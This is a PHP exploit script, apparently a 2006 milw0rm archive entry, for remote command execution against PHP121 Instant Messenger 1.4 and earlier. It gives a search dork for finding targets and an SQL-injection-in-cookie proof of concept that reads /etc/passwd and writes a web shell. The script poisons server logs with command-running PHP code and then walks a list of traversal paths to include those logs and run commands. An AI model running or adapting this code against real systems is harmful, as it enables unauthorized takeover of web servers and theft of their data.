PHP121 Instant Messenger <= 1.4 Remote Code Execution Exploit :

Date : 2006-04-12 Author : rgod
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PHP121 Instant Messenger <= 1.4 $_SESSION[sess_username] remote cmmnds xctn 
";
echo "by rgod [email protected]
";
echo "site: http://retrogod.altervista.org

";
echo "-> works with magic_quotes_gpc = Off

";
echo "a dork: inurl:php121login.php | inurl:php121im.php | intitle:"PHP121 - PLEASE"

";

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS
";
echo "host:      target server (ip/hostname)
";
echo "path:      path to PHP121
";
echo "cmd:       a shell command
";
echo "Options:
";
echo "   -p[port]:    specify a port other than 80
";
echo "   -P[ip:port]: specify a proxy
";
echo "Examples:
";
echo "php ".$argv[0]." localhost /php121/ cat php121config.php
";
echo "php ".$argv[0]." localhost /php121/ ls -la -p81
";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80
";
die;
}

/*
 software site: http://www.php121.com/
 description: "PHP121 is a free web based instant messenger - written entirely in
 PHP"

 i)  vulnerable code in php121login.php and in nearly all files:

  ...
  if (isset($_COOKIE['php121un']) && isset($_COOKIE['php121pw'])) {
        $logindataun = $_COOKIE['php121un'];
        $logindatapw = $_COOKIE['php121pw'];
        if (!empty($logindataun) && !empty($logindatapw)) {
                //we have a cookie - use it to login, overriding any sessions
                $_SESSION[sess_username]=$logindataun;
                $_SESSION[sess_password]=$logindatapw;
        }
}

$sess_username=$_SESSION[sess_username];
$sess_password=$_SESSION[sess_password];
  ...

  in php121language.php we have:

...
$sess_username=$_SESSION[sess_username];
$sess_password=$_SESSION[sess_password];
// are we logged in?

if ($sess_username!="") {

	// get our language preference
	$sql="select $dbf_language from $db_usertable where $dbf_uname='$sess_username'";
	echo "sql: ".$sql."
";
	$row=mysql_fetch_row(mysql_query($sql));
	if ($row[0]!="") {
	require_once("language/lang-".strtolower($row[0]).".php");

	}

} else {

	// use the default language file
	require_once("language/lang-".strtolower($php121_config['default_language']).".php");

}
...

 "sess_username" value is not sanitized before to be used in our query
 so, if magic_quotes_gpc = Off, we can include arbitrary files from local
 resources, poc:

  GET /php121login.php HTTP/1.0
  Host: somehost
  Cookie: php121un=%27UNION+SELECT+%27..%2F..%2F..%2Fetc%2Fpasswd%00%27+FROM+php121_users%2F%2A; php121pw=suntzu;
  Connection: Close

 now session cookie is poisoned, and we can go to php121language.php
 with our new cookie to see/include local resources, query becomes:

 select php121_language from php121_users where uname=''UNION SELECT '../../../etc/passwd[null char]' FROM php121_users/*'

 php121_language field is varchar(30) so, before MySQL 4.1.1,
 your path is limited to 29 chars (so, it is nearly impossible
 submit a valid inclusion path), with Mysql >=4.1.1 it does not matter,
 path is not truncated anymore at the length of the first select field

 we can also try  blind injection, injecting a shell:

  GET /php121login.php HTTP/1.0
  Host: somehost
  Cookie: php121un=%27UNION+SELECT+%27%3C%3Fphp+system%28%24_GET%5Bcmd%5D%29%3B%3F%3E%27+INTO+DUMPFILE+%27somefile%27+FROM+php121_users%2F%2A; php121pw=suntzu;
  Connection: Close

 and now go to php121language.php to write our file, if MySQL have certain rigths
 to do it

 you can do the work trough a browser like Opera that allows to edit cookies

 However, this exploit inject some code in log files and try to include them

					                                      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="
"; $exa.="
";}
  }
 return $exa."
".$result;
}
$proxy_regex = '(d{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5})';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...
";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "
".$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "[1] Injecting some code in log files ...

";
$CODE="<?php echo 56789;passthru($_COOKIE[cmd]);die;?>";
$packet="GET ".$p.$CODE." HTTP/1.0
";
$packet.="User-Agent: ".$CODE." Googlebot/2.1
";
$packet.="Host: ".$host."
";
$packet.="Connection: close

";
sendpacketii($packet);
sleep(1);

$paths=array(
"../../../../../../../../../../var/log/httpd/access_log",
"../../../../../../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../../../../../../apache/logs/error.log",
"../../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../../logs/error.log",
"../../../../../../logs/access.log",
"../../../../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../../../../var/www/logs/access_log",
"../../../../../../../../../../var/www/logs/access.log",
"../../../../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../../../../var/log/apache/access_log",
"../../../../../../../../../../var/log/apache/access.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/www/logs/error_log",
"../../../../../../../../../../var/www/logs/error.log",
"../../../../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../../../../var/log/apache/error_log",
"../../../../../../../../../../var/log/apache/error.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/log/error_log"
);


for ($i=0; $i<=count($paths)-1; $i++)
{
  $a=$i+2;
  echo "[".$a."] Trying with: ".$paths[$i]."%00
";
  $sql="'UNION SELECT '".$paths[$i].chr(0x00)."' FROM php121_users/*";
  $sql=urlencode($sql);
  $packet ="GET ".$p."php121login.php HTTP/1.0
";
  $packet.="Host: ".$host."
";
  $packet.="Cookie: php121un=".$sql."; php121pw=suntzu;
";
  $packet.="Connection: Close

";
  #debug
  #echo quick_dump($packet);
  sendpacketii($packet);

  $temp=explode("Set-Cookie: ",$html);
  $temp2=explode(" ",$temp[1]);
  $cookie=$temp2[0];
  echo "Cookie -> ".$cookie."

";
  if ($cookie=='') {
  echo $html;
  die("Something goes wrong...
");
  }

  $packet ="GET ".$p."php121language.php HTTP/1.0
";
  $packet.="User-Agent: GoogleBot/2.1
";
  $packet.="Host: ".$host."
";
  $packet.="Cookie: ".$cookie."; cmd=".$cmd.";
";
  $packet.="Connection: Close

";
  #debug
  #echo quick_dump($packet);
  sendpacketii($packet);
  if (strstr($html,"56789"))
  {
    echo "Exploit succeeded...
";
    $temp=explode("56789",$html);
    echo $temp[1];
    die;
  }
}
//if you are here...
echo "Exploit failed...";
?>

# milw0rm.com [2006-04-12]

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